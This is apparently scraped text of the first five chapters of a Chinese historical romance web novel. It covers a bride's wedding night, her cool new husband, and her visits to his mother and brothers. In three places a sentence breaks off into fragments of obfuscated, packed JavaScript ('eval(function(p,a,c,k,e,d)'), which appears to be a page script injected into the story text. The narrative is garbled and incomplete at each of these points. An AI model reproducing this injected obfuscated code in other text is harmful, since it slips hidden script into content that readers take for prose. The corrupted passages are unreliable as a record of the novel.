《寂寂山光月有声》 1. 新婚 在很多年以后,南有音回想新婚之夜,诸事随风而逝,只剩下一点模糊的痕迹,唯有当晚新郎官儿叹了三口气,她一直记得清清楚楚。 第一次叹气是掀盖头时。 一套又一套的繁文缛节持续了整整一天,夜半南有音独自坐在婚房,等了很久,无聊到几乎快要睡着,终于在屋内火炉燃烧与窗外呼啸的寒风声之外,听见了了第三种声音——一个由远及近、很轻很轻的脚步声。 房门发出轻微的“吱呀”一声,打开了,又缓缓闭上,脚步声愈发清晰,最终停在了凤披霞冠的新娘面前。 这个时候会来的人毋庸置疑,只能是新郎徐寂宁。 南有音闻到了他衣袖上熏香的味道,淡淡的,夹杂着屋外寒风的冷冽。 她心脏不由得狂跳起来,等待着盖头被掀起,甚至可以说是有些迫不及待,藏在红盖头下的脸上已经洋溢起笑容了。 其实自从半年前订亲之后,她一直期盼着这一天的到来,毕竟如愿以偿嫁给少时爱慕之人的幸运不是人人都有。 她看到新郎细长的手指已经握住了红盖头下缘的一角,骤然紧张起来,不禁屏住了呼吸。 接着,她听到了一声非常轻又非常模糊的叹息声,夹杂在窗外呼啸的风声之中,不太分明。 她有些诧异,但未等她仔细分辨,盖头便被揭开,在一片明晃晃亮闪闪的喜烛之中,她终于见到了自己的新郎官儿——礼部尚书徐朗的小儿子徐寂宁。 南有音忍不住冲新郎笑了,新郎一怔,片刻也下意识冲她微笑了一下。 南有音毫不掩饰的注视着他,觉得他还是跟六年前两人第一次见面时一个模样,。 非常秀气白净的脸庞,细长的单眼皮眼睛,眼眸清透,精致的鼻子,两叶薄唇泛着淡淡的红色,即便穿着喜服,整个人仍看上去淡漠文雅,只是眼睛中散发着澄澈柔和的光泽,使他凭空填了许多温和气度。 不光南有音在注视着新郎瞧,新郎徐寂宁也在不着声色地打量他的新娘,他本不想这样失礼地盯着她看,可是新娘她有一双特别的大眼睛,叫人无法挪不开视线。 掀开盖头的一瞬间,他的目光便落在了她浓墨重彩的眉眼上,乌黑的眉毛,异常明亮的大眼睛,她冲着他笑得很开心,即便是寒冬腊月,仍让他不由自主的想到了春天枝繁叶茂的树。 南有音很是开心,一别六年,徐寂宁还是她记忆里的模样,她对她的新郎官儿很满意,于是她清了清嗓子,文绉绉但甜腻腻地叫了一声:“夫君。” 声音很好听,轻柔,悦耳,说不出的亲昵,但徐寂宁从头到脚僵住了,这让红烛高烧、含情脉脉的场面有些不对劲儿。 南有音困惑,关切问道:“怎么了吗?” 徐寂宁脸颊带着淡淡绯色,温和道:“你还是叫我寂宁吧。” “寂宁?”这两个字在南有音口中打了一圈转,轻飘飘的,“大家都这样称呼你吧,感觉太平常了些。” 南有音回想起两人第一次见面时的情景,彼时他们的父亲尚在同一间厅堂共事,她记得母亲介绍那个单眼皮少年时让自己管他喊“宁哥哥”。 她说道:“我还是像过去一样,称呼你宁哥哥好啦。” 徐寂宁眉头微微皱了起来,他搜寻着自己的记忆,半点儿也想不起过去什么时候见过这个大眼睛的姑娘。他认识南有音,或者说之所以知道有这么一个姑娘存在,是因为差不多半年前,父母告诉他说为他订好了亲事,新娘是南有音,而今天,他才头一次见到她呢。 南有音把徐寂宁的沉默视为了默认,又笑眯眯问道:“你打算怎么称呼我呢?夫人?或者娘子?我都不介意。” 徐寂宁张了张嘴,盛装打扮的新娘子满怀期待的注视着他,浓烈的眼神让他浑身上下都不自在起来,他嗓子发紧,“娘子”两个字始终跑不进他的喉咙里,最后他清了清嗓子,温声道:“有音。” “哦。”南有音很失望,然后同徐寂宁大眼瞪小眼起来。 在这时,她听到了第二次叹气声,轻轻的叹息声落在张灯结彩的婚房,仿佛是一片秋叶坠地。 南有音很诧异,她看向她的新郎,一身大红色的喜服也遮盖不住他脸上的怅然。 似乎是察觉到了她的目光,徐寂宁也望向了她,又微微笑了一下,细长的眼睛在烛火下闪亮亮的,温温柔柔的,仿佛会说话一样。 但南有音看出他似乎笑得很是勉强,那双温和的眼眸里也满是无奈,全然没有半点新婚应有的欢喜。 “呃……”南有音直接问道,“你不开心吗?” 徐寂宁好像有些奇怪,温声问道:“有什么可开心的吗?” 南有音反问道:“难道新婚之夜不值得让人开心吗?” “咳,”徐寂宁轻咳一声,说道,“今日一天算是够折腾的,明日还要早起,早些歇息吧。” “那好吧。”南有音利索地动手拆下头上的珠钗玛瑙,解开身上重重叠叠的婚服,差不多了之后她扭头去看徐寂宁,发现对方仍是全须全尾地坐在床边。 于是她笑眯眯地伸出手,先勾开徐寂宁下巴上系纱帽的绳子,又解开绳结,徐寂宁却轻轻颤抖了一下,抬手松松握住了她的手腕,迅速拉开,然后松开了手,像是不愿与她有太多的接触。 南有音有点不解。 “我自己来。”徐寂宁轻声道,他的脸颊带上了淡淡的红色。 “那你快点。”身上衣物单薄稀疏,南有音打了个冷颤,有些后悔在冬天成亲了。 “你先睡吧。”徐寂宁弯腰往脚下的火炉添了点炭。 南有音迅速钻进被窝,她四肢僵冷的窝在绣着鸳鸯和囍字的被子里,连打数个冷颤,直到床铺被她的体温温暖过来之后才缓过劲儿来。 她又去看徐寂宁,但徐寂宁仍然全须全尾地坐在床边,甚至那顶被她解开系带的纱帽仍然稳稳地戴在头顶,没有被摘下。 南有音往里侧躺了躺,拍了拍身边的位置:“你不快点过来吗?” 徐寂宁扭头看了一眼裹在被子里面只露出脑袋的南有音,两人目光相接之时,他慌乱地挪开视线,而后起身,将屋内的蜡烛一盏一盏的吹灭了。床头处最后一盏烛火熄灭后,屋内顿时暗了下来,只剩下取暖用的小火炉散发着微弱的光芒。 在黑暗中响起了南有音好听悦耳的声音,她一派天真与好奇地问道:“你做那事还要熄灯呀,可是熄灯之后就什么都看不清了呀?” 徐寂宁下意识问道:“做什么事?” “你问我?”南有音很吃惊,“当,当然是夫妻之间会做的那种事啊……你难道……你不会不知道吧?” “我当然知道。”徐寂宁立刻反应过来,他轻咳一声掩饰自己的尴尬,温声说道,“睡吧。” 南有音则又一次拍了拍身边的空间,轻快道:“那你快点啦。” 而在这时,南有音听到了今晚第三次叹息声。 在寂静无光的夜晚,这声叹息异常的清晰,像是被放大了一样,撞击在南有音的耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过去在家时,她和弟弟以及父亲都是烧火炉的一把好手,冬天他们总能将自家的铁制小火炉烧的通红滚烫。 片刻后,火炉中飘摇的火焰平稳下来,她站起身,忽然想起母亲曾说过京城贵族都是十指不沾阳春水,养尊处优,于是好奇地盯着徐寂宁,问道:“你不会生火吗?” 徐寂宁没回答,他神色很怪,他的目光从她的脸向下游移,而后像是被烫到一样飞速挪开,脸瞬间红了,飞速背过身去,局促道:“你先把衣服穿好。” 南有音打着寒颤把衣服一件一件的穿好,同时对着仍然背对着她的徐寂宁嘟囔道:“你以为我愿穿这么少下床吗,天真的很冷,都怪你不会生火,搞出的烟那么呛人。下次你可以叫我起来,我点炉火是一把好手。” 徐寂宁说:“我原本想着叫你再多睡一会来着。” “这倒也没什么,我醒了还能继续睡回笼觉,”南有音扣好领口处最后一粒扣子,望着徐寂宁回避的背影忍不住发笑,“我穿戴好了,你可以转过身看我了。” 徐寂宁一转身,就对上了南有音的浓丽眉眼,那双洋溢着快乐与活力的大眼睛盯着他,毫不掩饰地问道:“宁哥哥,昨晚你为什么不碰我?” 这个问题令徐寂宁嗓子发干,他找不出合适的理由来应付南有音。 而这时,屋外响起了敲门声。 “小少爷,少奶奶,你们醒了吗?” 2. 规矩 “小少爷,少奶奶,你们起了吗?”门外传来一个柔和的女声。 “进来吧。”徐寂宁听出是丫鬟松梯的声音,松梯原是他姐姐,徐家三小姐徐静祺的丫鬟,徐静祺去世后,松梯便跟在徐夫人身边伺候,南有音嫁到徐家,徐夫人又指了她去伺候新上任的徐家少奶奶。 松梯推开门,微微笑着,有点怯地进来,向着南有音行礼:“少奶奶。” 南有音第一次见到松梯时只觉得她很像一只小鹿,她有着一双圆圆的杏眼,周身纯良温善的气息都从那双清透的眸子里其中流露出来。。 南有音愣了一会儿,反应过来“少奶奶”是自己的新称号,这让她觉得有点莫名的滑稽,她仍感觉自己还是南家的大姑娘,一时适应不了这个感觉过于隆重与甚至带着点老气的称呼。 “不要叫我少奶奶。”她下意识的脱口而出。 松梯敦柔的脸庞上出现了困惑的神情。 南有音想了想说:“你也直接称呼我的名字,叫我‘有音’好啦。” 这句话让松梯脸上困惑的神情松动了,取而代之的是惊讶与为难,继而,她望向南有音的眼神迷离飘忽起来。 南有音有点不知所措,她把目光转向徐寂宁,却发现他也一脸讶然,在二人目光触碰的一瞬,徐寂宁迅速垂下眼睫。 不明所以的南有音对二人的沉默感到几丝尴尬,有些讪讪地开口道:“呃……其实叫我少奶奶也可以……我只是刚来徐府,不太懂规矩……” 南有音一直知道京城的规矩多,也一直晓得达官显贵之家更重礼仪,出嫁前母亲也对她千叮万嘱,但她仍没想到徐家把规矩看得这样重,她只是随口一说不要称呼自己少奶奶,竟然就将新婚丈夫与侍女都惊得呆住了。 “不,不是少奶奶的问题,”松梯急忙摆手,“是我失态了,我只是想起过去三小姐——” “松梯,”徐寂宁开口打断丫鬟的话,声音透露着些许的疲惫,“尽快服侍有音梳洗,太太应该在堂里等着了吧。” 成亲第二日是要去给婆母敬茶的。 南有音想到这个就惴惴不安,都说京城大户人家的礼仪多,那大户人家的少奶奶自然也规矩多,而她,自小在乡野流浪,十多岁时才来到京城,至于京城的各种礼仪规矩之类的,可能由于自小野惯了,也可能因为她生性旷达,实在学得不怎么样。 徐府是个好几进的大宅邸,从徐寂宁的院子到婆母徐夫人院子还要走一段路程,道路曲折弯曲,寒风肆虐,南有音忽然就有些想念南家小小的、一眼就能看到头的庭院了。 她一边悄悄朝冻得冰凉的手哈气,一边小声问到:“宁哥哥,太太是怎样的人呀?我听说她相当看重礼仪规矩。” 自从南有音与徐家订亲,南有音的母亲几乎把整个京城关于徐府的大小传闻都网罗了个遍,其中有几条就是关于徐夫人林径幽,有传闻说她“宁要规矩不要性命”。 南有音觉得未免太夸张,但仍忍不住打怵,所以才会先向徐寂宁询问。 “嗯。”徐寂宁浅浅应了一声,算是对南有音的回答。 得到徐夫人确实注重礼仪规矩后,南有音直起腰,缩小步伐,在脸上调整出一种温柔且端庄的表情,她竭力回想自己母亲对自己的种种告诫教导,努力装出一副知书达理的淑女模样。 南有音对自己装成落落大方的大家闺秀没太有信心,她又问徐寂宁:“那……那如果我说错了话,比如像刚刚那种我不愿被称作少奶奶的话,太太会责罚我吗?” 假如徐太太也被她的无规无矩惊呆了,那她当真是要死了。 徐寂宁扭头看了她一眼,与她黑亮的眼眸对上了,但徐寂宁又很快把视线抛向路边的被雪覆盖着的冬青,他轻声说道:“你刚刚没说错什么话。” “什么?” 徐寂宁解释道:“你不愿松梯称呼你少奶奶,其实也没什么。” “真的吗?”南有音不太相信,“刚刚你和松梯姑娘可把我吓一跳,我还以为是我说了什么大逆不道的话,有辱徐氏家风,你们对我大失所望呢。” 这样夸张的言论让徐寂宁觉得有些好笑,在他唇角浮现出几丝笑意的时候,南有音又开始发问:“那你和松梯姑娘当时在想什么呀?” 徐寂宁唇角地笑意像是被风吹走了一样,他淡淡回答:“没什么。” “怎么可能没什么。”虽然南有音对徐寂宁有些遮掩的态度略感沮丧,但她转念一想反正他们两个已经是夫妻了,之后有大把的时间相处,总会了解对方的故事的。 渐渐靠近徐太太的庭院居室,南有音愈发的紧张起来,她扯了扯徐寂宁的衣袖:“过会儿如果我不小心搞砸了,你能帮帮我吗?” “好。”徐寂宁应下了。 然而出乎南有音意料之外的是徐太太似乎格外喜欢她,为此对她格外的宽容随和。 一踏进徐太太房里,铺面而来的热气瞬间驱散了南有音周身的寒意,她只稍稍抬眼打量了屋内一下,瞬间眼花缭乱。 珊瑚玛瑙满屋点缀,眼前众人无一不身姿雍容,华丽的金丝银线服饰使得他们身上仿佛镀着一层光,隔绝凡尘。 她们穿着南有音虽然不认识但一眼就能看出价格不菲的绫罗绸缎,头上戴着各种异常精致的玲珑珠宝,周遭富丽堂皇的一切迅速而猛烈地冲击着南有音,虽然她知道京城的达官显们挥金如土,但她从未实质性的感受何为金玉满堂,当这些的东西骤然出现在她眼前,令她顿时头晕目眩起来,直到身旁的徐寂宁悄悄捅了她一下,她才回想起自己要做什么。 她小心翼翼地按照各种礼仪形式,给坐在最中间被众人簇拥着的徐夫人敬茶,一套仪式被她做得漏洞百出,连在一边的徐寂宁也看得皱眉,忧心她会在成婚第一天就因不通礼仪被罚去跪祠堂。 南有音无比沮丧,她怀疑如果她没有这么紧张,她端茶倒水的动作应该足够优雅体面的,她在家练了好多次,本不至于茶水倒在杯外,茶壶嘴又和茶碗碰得叮当作响的。 在紧张不安中,南有音的手心出了很多汗,她下意识想要往衣服上抹一把,但考虑是在徐太太面前,生生忍住了。徐太太全然没有注意到她的小心思,喝了她敬的茶,接着非常亲切地把她拉到自己身边,像是自家母亲一样亲昵地呼唤她:“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐太太的话语罕见的带着恳切语气,更令徐寂宁感到匪夷所思,他发愣地看看母亲,而后又奇怪的看向身边,南有音也正悄悄看着他,并且冲他微微笑了一下,她的手还在他的手底不老实的扭动了一下,传递来些许微妙的触感。 一直到离开母亲的院子,萦绕在徐寂宁心中的惊讶与茫然仍然迟迟没有消散。 “为何母亲会这样?”他问与自己并排行走的南有音。 “什么样?”南有音感到很是轻松,仿佛翻过了一座巨大的山头,“我原先听说太太很是严厉,今日一见,才知道太太是这样好相处的人呢。” 南有音轻快地继续往前走,若不是考虑到要稍微维持一下端庄模样,她简直想要一蹦一跳地走路道:“现在看来,外边的风言风语果然不可信。” 徐寂宁问道:“外面有什么传闻?” “唔,大概是太太宁要规矩不要性命之类的荒唐话吧……” 徐寂宁犹豫了一下,说实话他心里隐约有点赞成这个夸张的说法。正因如此,他才会无比困惑,为何他的这位严苛的母亲偏偏会对南有音格外的宽容。 他再度询问:“为什么母亲会这么喜欢你呢?” 南有音当即答道:“我难道不讨人喜欢吗?” 眼前笑靥如花的面孔并没有打消徐寂宁的困惑,那句“宁要规矩不要性命”仍然在他心间转圈,不着声息的刺痛了他,令他有些恍惚,使他骤然想起他人,一个有些“宁无性命不要规矩”的人,这让他晃神好久,一直到南有音催促他快点走。 “宁哥哥,你走快一点呀,好冷啊。” 3. 缄平 见完徐太太后,南有音还要继续去拜见徐府里的其他人,先是是大哥徐缄平一家。 南有音跟随着徐寂宁的脚步,在寒风中冻得鼻尖发红,路过了一个结满冰的池塘,冰面上枯萎的褐色残荷在瑟瑟北风中显得格外萧条,大哥徐缄平与大嫂宋知落的庭院就在这方池塘后。 想到即将见到大嫂宋知落,南有音又有些紧张起来,她是打听过徐家人的,大嫂宋知落也是出身书香世家,她每次见这些书香门第的人总是会紧张。 察觉到身边人又开始紧张起来,徐寂宁温声道:“大哥现在应该还没下朝,只有大嫂在,过去我和……我和三姐常来找她玩,她很好说话的,你不用害怕她。” 南有音对徐寂宁露出一丝感激的笑容,然后小心翼翼地踏入了大哥与大嫂的院落。 正厅中摆着一些瓶瓶罐罐,大嫂宋知落坐在窗台边与丫鬟一起收拾着晾晒好的橘子皮山楂片等物件,见到四弟与弟媳,她指挥着丫鬟打理出两个位置,而后从瓶瓶罐罐中舀出一些东西,放入小泥炉中,小泥炉在温暖的炭火上加热,很快就冒出了一层白雾,飘出一阵若有若无的幽香。 正当南有音好奇这是什么茶的时候,从一边侧室里跑出一个约莫三四岁的小娃娃,手上抓着一个布老虎,穿着精致可爱,跑到宋知落跟前,仔细嗅了嗅面前小泥炉中传出的香气,而后开口道:“山楂茶,加了红枣,姜片,嗯……还有一点红糖,娘,我说得对不对?” “还差了莲子。”宋知落白净的手倒腾着茶具,予南有音遇徐寂宁一人一盏热茶。 南有音缓缓啜这茶,暖融融的热气瞬间从胃部蔓延到了全身。她有些好奇的看向那个小娃娃,小娃娃则躲在大嫂宋知落的怀里,也悄悄打量她。 “小叔叔,你身边的姐姐是谁?”小娃娃转向徐寂宁,好奇地开口问道。 宋知落道:“小甲,这是你小婶婶,快向她问好。” “我知道啦,你是昨天的新娘子!”小娃娃说完就跑了,然后又从屋里领着一个更小一点的娃娃出来,“弟弟,你看,我们的新婶婶。” 然而那个更小些的娃娃压根没往南有音这边看一眼,径直往宋知落那边走过去,然后莫名其妙地哭了,那声音简直震耳欲聋,顿时丫鬟婆子从各个角落冒出来,去安抚那个多事的小不点。 徐寂宁感到一阵头疼,他是家里最小的那个,从来是哥哥姐姐来哄他,他是向来不知道怎么应付这种小不点的,而且不知道为什么,大嫂的这个二儿子徐乙,自打出生就是格外能哭,每次他来找大哥,总能听到小小婴孩撕心裂肺地痛哭。 他看向南有音,正思考着要不要先带着她撤离这混乱的局面,却发现她起身向大嫂那边走去,笑眯眯地哄起那个小娃娃来。 “小乙不哭,婶婶陪你玩。”南有音用小徐甲递给她的布老虎逗大嫂怀里的小不点儿。 她拿着布老虎慢慢靠近小娃娃,在他快要抓住的时候又飞速的拿开,嘴里还柔柔和和的说着什么“小老虎来啦”“小老虎飞啦”之类的话,逗得那小不点咯咯发笑,而徐寂宁默默啜他那杯茶,竭力屏蔽丫鬟婆子以及南有音哄小孩的黏腻声音。 拯救无聊透顶的徐寂宁的是大哥徐缄平,在大哥踏入门槛的一瞬间徐寂宁感到了一阵无与伦比的轻松,终于不是他一个人呆在这里听着一群人哄小孩了。 宋知落把身上的小娃娃徐乙交给身边的丫鬟,起身与徐缄平进了里间,过了片刻,两人再出来时,徐缄平已经脱下官服,换上便服了。 在徐寂宁的带领下,南有音一套礼节下来,正式的拜见了她的大哥与大嫂,以及认识了她的两个小小侄儿。 大哥徐缄平,身姿挺拔,鼻梁高挺,与徐寂宁和徐太太一样的单眼皮薄嘴唇,只是气质更加宽和而温厚。大嫂宋知落,有着一双精致的丹凤眼,举手投足间带着一种娴静文雅的感觉。两人站在一块儿,任谁看到都会赞上一句郎才女貌。 天近晌午,徐缄平便留四弟与南有音在自己厅堂用饭了,席间南有音抱着徐乙,笑眯眯地给他夹菜,小不点徐乙伸脚踢翻她的茶碗,伸手抓住她的筷子,她全然不恼,一边的徐寂宁却不太自在,南有音那些为了哄小孩而说出的幼稚到让人头皮发麻的话语,以及那些异常甜腻的腔调,都让他感觉怪怪的,为此他多看了小乙一眼,南有音也笑眯眯地看了他一眼,问他喜不喜欢小孩。 小乙就在他身边,他自然不会当着兄嫂孩子的面说不喜欢,便勉强说道:“还好吧。” 南有音点头:“以后我们也会有孩子。” 徐寂宁愣了半晌,无端有些紧张,他没好好想过这个问题,就像他和南有音的婚事,他也没来得及好好考虑,父母就为他做主了。 虽然南有音把徐乙哄得舒舒贴贴,在饭局即将结束时,这个小不点又开始莫名其妙地哭了,听着耳边又一次骤然炸响的噪音,徐寂宁无奈叹了口气。 宋知落起身从手忙脚乱的南有音身上抱走了徐乙,有些无奈地哄着这个爱哭地小孩,徐乙不光哭,还不老实的翻蹬,宋知落纤细的身子一个没站稳,险些跌倒,徐缄平一个箭步迅速上前扶住她,待她站稳而后又立刻松手。 宋知落轻声说了句:“多谢。” 徐缄平也回了句:“不客气。” 宋知落抱着嚎啕大哭的徐乙往侧室去,徐缄平很是抱歉地冲着弟弟与弟妹苦笑一下,追上宋知落,同她说起了什么:“小乙如今快一岁半了,仍是这样动不动就哭,太太说想请宫里钦天监那边的人来看看……” 宋知落不冷不淡道:“太太想怎样便怎样就是。” “你若是不愿意,我替你推了去便是。” 宋知落似乎犹豫了一下,说道:“算了,这样未免又要麻烦你,还是就依太太的意思吧……” 望着徐缄平与宋知落的身影消失在门帘后,南有音总感觉两人之间有点怪怪的,但没等她想出哪里怪,桌边忽然冒出来的一个小脑袋吓了她一跳。 是徐甲端来一盏茶,仰着头,亮闪闪的眼睛看着徐寂宁:“小叔叔,你不要心烦啦,喝杯茶吧。” “我没心烦。”徐寂宁说道。 徐甲转向南有音,趴在她的腿上央求道:“小婶婶,你劝小叔叔喝茶啦 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南有音仔细端详自己怀里的小侄子,思考着给小小孩童一个什么样的答复,徐寂宁却轻咳一声打断了她的思绪:“时间不早了,还要去二哥那里,咱们先走吧,改日再来大哥这边。” “也好。”南有音辞别了徐缄平与宋知落,又邀请徐甲过几天去她屋里玩儿。 离开院落时南有音回头看去,大哥大嫂仍站在院子门口,两人都是高挑身形秀雅五官,像极了一对璧人,好看,但感觉冷冷淡淡的,又让南有音感觉不太对劲。 踏上池塘上的小桥,北风扑残荷,一阵哗哗作响之中,南有音猛然意识到了到别扭之处——尽管大哥与大嫂可谓之郎才女貌,甚至连面容都颇有夫妻相,但是两人比肩而立,却仍感疏离。 南有音忍不住好奇问道:“夫妻之间格外客气是你们徐家的传统吗?” “什么?”徐寂宁不明所以。 “大哥大嫂之间好像就……”南有音思考了一个比较合适的形容,“有点生分?” 徐寂宁当即反驳:“哪有!” “没有吗?”南有音似乎对徐寂宁急切地回答有所怀疑。 徐寂宁又迅速答道:“当然!” “好吧,”南有音接受了徐寂宁的说辞,她的思绪又转到了其他问题上,“宁哥哥,你说小甲到底长得像谁?我怎么觉得他和大哥大嫂都不是很像呀。” “他还能同父母一个模子刻出来的才行么,你和南老爷长得也不太相似。” 徐寂宁见过南老爷南晨颂,干瘪枯瘦,像一把生锈的薄剑,在见到南有音前,他一度担心他未来的妻子也是如此。 “我和我爹不相似是当然哇,”南有音声音略有埋怨,“宁哥哥,你忘啦,我不是他们的亲生女儿呀。” 徐寂宁很惊讶。 南有音解释道:“我和弟弟玉振都是爹娘收养的。” 她又说道:“宁哥哥,你应该知道的吧,你还记得我们第一次见面吗?那时我刚被收养,初到京城,还不会说你们这儿的官话呢。” 4. 默安 南有音见婆母与大嫂这样出身书香门第的人都是倍感紧张,但南有音见徐寂宁的二哥徐默安——一个京城上下公认的大才子时,却是好奇大过了紧张,在闺阁之时她就听过徐默安的无数事迹。 据说他文章一挥而就,倚马可待,年少时曾在一次针尖麦芒相对的国宴中随手作赋,化干戈为玉帛;传闻他博闻强识,就连皇帝也特准他进入皇家书库,有人说他只花了三年就将皇宫藏书编览无余,更有甚者,说天下的书没有徐二公子没读过的;徐默安长于文字精于书画,相传本朝年过花甲的首席画师见其字画后亦自愧不如,直言雏凤声清,时人无不以求得徐默安一笔半画为荣……种种传闻使得徐默安成为不少姑娘的春闺梦里人,然而这些姑娘荡漾的芳心都在三年前被戳得稀碎。 三年前历经几代的浩荡修史工程落下帷幕,徐默安作为当朝史馆的顶梁柱修史有功,金銮殿上皇帝亲自许诺有求必应,徐默安不要官爵不要财宝,他说他愿孤身一人读诗作赋了此残生,他只求了皇帝一件事,便是为自己的未婚妻子另寻一门好亲事,此举一出,京城哗然,为彼时本就因女儿去世,幼子重病,笼罩在愁云中的徐府又增添了几分阴霾,也为京城百官增加了无数饭后谈资。 有人说徐默安有违人伦,枉读圣贤书,竟擅自更改父母定下的终身大事,有人说徐默安薄情寡义,公然退婚,置未婚姑娘颜面于何地,也有人说徐默安心善痴情,他早知未婚妻与他人自小相识两小无猜,不愿拆散鸳鸯眷侣,借着皇帝封赏之机宁背骂名一生孤独也要成全佳人…… 在数年后南徐两家结亲,南有音终于有机会见到这位众说纷纭的才子徐默安,一解她如同被猫抓一样难受的好奇心。 “二哥是怎样的人?”南有音好奇地询问她的新婚丈夫,关于这位二哥,她实在听过太多传闻了。 然而徐寂宁却说:“二哥就是二哥。” 既不像拜见徐太太时提醒南有音小心举止,也不像介绍宋知落时说她很好相处,只是说他是他的二哥。 怀揣着强烈的好奇心,在与徐寂宁路过一座积雪的小石山后,南有音进到了徐默安的书房。 屋内摆满了书,墙角床头都立着书架,窗台桌角无一不摊着大批书卷,凌乱却又莫名的极尽雅致,南有音疑心倘若将零散书卷中心的人物换成徐寂宁,没有了二哥徐默安那种独一无二的气质,恐怕这屋中的凌乱便会压过雅致。 “你们来了。”徐默安放下手中的书,温和地笑着看向一对新人。 徐默安同他的兄弟一样,长相都随徐太太,他甚至是三兄弟中最酷肖母亲的那个,只是他身上那独一份的气质使得大家觉得他好像与谁都不相似,有人说徐默安那独特的气质是傲气,有人说是书卷气,也有人说那时平和中庸之气,唯有大哥徐缄平的“好友”小崔太史崔润础的评价最为中肯,他说那是一种没有千百卷书腌不出的气度。 南有音认为那是一种不太属于凡尘的气质,在见到二哥徐默安的第一眼她那些对于旧日流言的好奇便凭空消失了——二哥不像是凡世的人,世俗的目光无法审视他。 徐默安是徐家最为文雅的读书人,但在目前所见的所有徐家人中,他却是最令南有音放松的,很奇怪,待着他身边很舒服,仿佛从头到脚都被一种包容平和所围绕,南有音喝着二哥沏的茶,那茶也同人一样清淡,书房内的平静温和使得她感觉自己不是在纷纷扰扰的徐府,感觉像是在世外桃源里,在竹林月色间。 这种恍惚而宁静的感觉持续了很久,一直到南有音走出二哥庭院时那种感觉像暮春花瓣一般,风动而散。 “二哥不像凡人。”南有音有些失神地喃喃道。 徐寂宁好笑道:“二哥还能是神仙不成?” “我觉得很像。”南有音无比认真地说,然而她的认真换来了徐寂宁没忍住的一声嗤笑。 “你笑什么!”南有音愤愤不平,“二哥真的挺像画本里那些会白日飞升的仙人!” 在多年以后,南有音的猜想得到了证实,一日午后,寂静闲适的徐府忽然传出了一阵通达的朗朗笑声,久居书房的徐默安大笑着经过石山,走出院门,然后,便再也没人见过他了,彼时五岁的徐戊信誓旦旦地说她亲眼看到二伯飞走了,南有音与徐寂宁焦急地围着她问到底往哪个方向走了,徐戊指着天边一片云霞说飞到那里了,然后骑着鹿走了,南有音凝神去看,当真看到了形状酷似梅花鹿的云朵,随着风往西天踱步。 拜访完徐默安,南有音基本将整个徐府转了一圈,也基本将府里的人都见了一面,唯有徐老爷徐朗,一直到天黑才从宫里回来,在晚饭席上,南有音才正式拜见了徐老爷。 南有音的父亲与徐朗过去曾是同僚,后来徐朗一路高升,便渐渐断了联系,直到两家结亲,才又有联络。 徐朗天生一副好身板,高众人一头,身姿挺拔,说话不多,但很是亲厚。 席间徐朗回想起往昔,笑道:“过去与南兄一同为官时,阿音还是一团孩子气的小丫头,没想一晃这么些年,阿音竟嫁到徐家来了。” 徐寂宁听着父亲的话只感到诧异,听起来自己父亲过去与南有音父亲关系甚好,那么按理说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐寂宁全然不明白这几分愧疚从何而来,他不光不理解,甚至还感到些许气闷,在他看来,刚刚南有音是说漏了她被南老爷嫁到徐家的目的——借着徐家的权势地位为弟弟南玉振谋一个好仕途,他自小是见惯了这些为了谋取私利而巴结父亲的人了,不免反感。 然而徐老爷与徐太太待南有音仍然热络,似乎全然不在意南有音刚刚所说,徐寂宁凭着对父母的了解,确信此时他们脸上的怜爱并非逢场作戏,而是真真切切的。 一直到这顿晚饭结束,他和南有音并排走回属于两人的院落时,他仍是满头雾水,全然不知道为何父母会对身旁这个大大咧咧且直白的姑娘如此怜爱。 “为何父亲母亲都这样喜欢你?”他忍不住又问起这个问题。 “我难道不讨人喜欢吗?”南有音笑眯眯答道。 见徐寂宁皱起眉头,她思考片刻后又说道:“好吧,其实可能是爱屋及乌吧,他们喜欢你,自然就喜欢我了。” 徐寂宁不以为然,但他也想不出什么合适的答案。 5. 静祺 冬日天黑的格外早,晚饭过后,屋外已经黑得彻底,北风吹得窗框乱抖,只听声音,就知道外面寒风像刀子一样,冷得可怕。 南有音在卧房内将床下的小火炉烧的火热,然后坐在床头,笑眯眯地看着坐在窗边案几翻书的徐寂宁的背影。 徐寂宁被那一双大眼睛盯得背上发痒,他回过头来,问道:“你盯着我做什么?” “你说呢?”南有音拍了拍仍然铺着大红喜被的床。 徐寂宁面上表情一滞,扭过头说道:“时间还早。” “好吧。”南有音无所事事地躺下观察天花板地,片刻后又坐起身无聊地看地砖,最后视线又挪向了徐寂宁。 徐寂宁再一次感受到了后背发毛的感觉,他无奈地回过头去,坐在床沿上的姑娘正冲着他露出好看的笑容。 “怎么啦?”他问道。 “好无聊哦。” “那你也看书好了。”他随手从案几的书堆里翻出一本文集,递给南有音。 南有音翻书翻了不到一炷香,她对这些策论没兴趣,“哎”了一声,将书扔在床头,起身趿着鞋子往外面走:“我去跟松梯他们说会儿话,你读完了书就叫我一声。” 南有音最后没在松梯那里呆太久。因为她一过去,跟松梯一屋说话的丫鬟们都手忙脚乱起来,连隔壁一些躺下的小丫头也知道少奶奶来了,忙着点灯生火的,阵仗不小,搞得南有音有些留也不是走也不是,早知道她过来会整得这样兵荒马乱她就老实呆在卧房读书了。 她本只想跟松梯随便聊点什么,但她与松梯不熟,实在不知道说什么合适,加上过去她家里也没有过丫鬟,她一时还不清楚如何与丫鬟们相处,她讪讪说了几句废话,而后敏锐地觉察到屋内很冷,不由分说卷起袖子拿出看家本领——烧火炉。 以松梯为首的丫鬟急忙阻拦,又是一阵兵荒马乱,最终火炉被烧的呼呼作响,屋子里的温度逐渐升高,不再冻得人手脚发凉,南有音满意地离开,同时严词制止了松梯想要把她送回卧室的举动,让松梯等老老实实窝在床上暖和。 “左右不过二十步,我又不会走丢了。”南有音如是说。 南有音走后很久,松梯屋里一直暖烘烘的,任谁也无法否认这位新少奶奶在烧火炉方面确实是技高一筹。 